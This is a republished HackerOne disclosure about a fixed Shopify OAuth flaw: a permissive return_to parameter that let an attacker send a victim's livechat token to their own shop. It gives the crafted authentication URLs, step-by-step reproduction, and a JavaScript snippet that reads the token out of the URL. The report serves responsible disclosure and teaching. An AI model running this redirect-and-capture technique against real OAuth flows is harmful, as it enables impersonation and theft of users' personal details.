Skip to content
OAuth / SSO Disclosed report Intermediate

Stealing livechat token and using it to chat as the user - user information disclosure

The OAuth redirect_uri (return_to parameter) accepted any *.shopify.com or *.myshopify.com domain, allowing an attacker to redirect the victim's livechat access token to an attacker-controlled shop. The attacker could then use the token to impersonate the victim in livechat and access their email and full name.

Mahmoud Gamal Follow

Originally disclosed on HackerOne

  • Triaged in 7 hours
  • Fixed in 12 hours
  • Paid in 6 days
  • Disclosed after 6 days

Hi , I have found an issue through which an attacker can steal users' livechat access token and use it to login and chat with the support agents as them , he also will be able to get access to sensitive user information such as his email and his first name and last name. #Details: When you go to https://support.shopify.com/ , if you click the Open Chat button at the bottom of the page, you'll be asked to authenticate using your shop. When you click the authenticate button , you'll go to this link:

https://tasker-merchant-auth.herokuapp.com/auth/shopify/?utf8=%E2%9C%93&auth_type=chat&return_to=https%3A%2F%2Flivechat.shopify.com%2Fcustomer%2Fchats%2Fnew&shop=<shop>.myshopify.com

The problem is that you have configured your oauth redirect_uri (the return_to parameter ) to accept any link like this:

  • <anything>.shopify.com/
  • <anything>.myshopify.com/

Which means that an attacker can set the redirect URI to something like:

https://tasker-merchant-auth.herokuapp.com/auth/shopify/?utf8=%E2%9C%93&auth_type=chat&return_to=https://<attacker_shop>.myshopify.com/&shop=<victim_shop>.myshopify.com

And send the link to the victim and when his victim opens it , he will be redirected to https://<attacker_shop>.myshopify.com/?auth_code=<access_token> and since the attacker has full control over the HTML and JavaScript of <attacker_shop>.myshopify.com , he can use JavaScript to fetch the returned access token and save it anywhere.

Then the attacker can use that access token to login as the user's shop in livechat.shopify.com by going to https://livechat.shopify.com/customer/chats/new?auth_code=<access_token>&auth_type=chat After that the attacker can know the first name and the email of the victim by checking the page source code. They will be stored as:

JavaScript
var chat = new TC.CustomerChat({
      chat: {"id":"<id>","token":"<chat_token>","name":"<user_first_and_last_name>","email":"<user_email>","metadata": "<other_meta_data>"},
      host: "livechat.shopify.com",
      role: "customer",
      eventChannel: eventChannel,
      pusher: new Pusher("c7e0a5a73ab848bea519")
    });

#Steps to reproduce:

  1. Go to: https://tasker-merchant-auth.herokuapp.com/auth/shopify/?utf8=%E2%9C%93&auth_type=chat&return_to=https://zh5401.myshopify.com/&shop=<your_shop>.myshopify.com
  2. If you haven't authorized Shopify support before , you'll be asked to grant access and if you have already done that before , you'll be automatically redirected to https://zh5401.myshopify.com/?auth_code=<access_token>&auth_type=chat
  3. You'll see your access token in an alert box and it will be written to the DOM , copy that access token and open a new browser then go to https://livechat.shopify.com/customer/chats/new?auth_code=<access_token>&auth_type=chat
  4. You'll be able to login to livechat , to see your email and name , view the page source then look for TC.CustomerChat

Code used in https://zh5401.myshopify.com to fetch the auth_code:

HTML
<script>
 var token = window.location.search.match(/auth_code=([^&]+)/);
      if (token && token.length > 1) {
        alert("Your access token is: " + token[1]);
        document.write("Attacker can use it to chat with support agents as you and he will be able to get your email <br> <b>Go to https://livechat.shopify.com/customer/chats/new?auth_type=chat&auth_code=" + token[1]);
      }

</script>

#Impact: There are two impacts here , one is chatting with support agents as another user which may lead to a lot of problems. The other is getting sensitive information about the user such as his email and full name.

Thanks!

The original report as published on HackerOne, by zombiehelp54. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could chat with support agents as the victim and obtain the victim's email and full name.

What the attacker needed

Victim clicks a crafted link; victim has a Shopify shop; attacker controls a myshopify.com shop

How it was found

  1. Visit the authentication URL with return_to set to an attacker-controlled shop and shop set to the victim's shop.
  2. If not previously authorised, grant access; otherwise you are redirected automatically to the attacker shop with the auth_code in the URL.
  3. Copy the access token from the alert or DOM.
  4. Open a new browser and go to the livechat URL with the stolen auth_code and auth_type=chat.
  5. You are logged in as the victim; view the page source and search for TC.CustomerChat to see the victim's email and name.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you log in to a service using another account (like Shopify), the service sends you back to a specific address with a secret code. This report shows that the address could be any shop's website, so an attacker could trick you into sending the secret code to their own shop. Then they could use that code to pretend to be you in the chat system and see your name and email.

What is OAuth / SSO?

Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.

More by Mahmoud Gamal

View all

32 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

OAuth and single sign-on flaws

The lesson behind this report.

Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.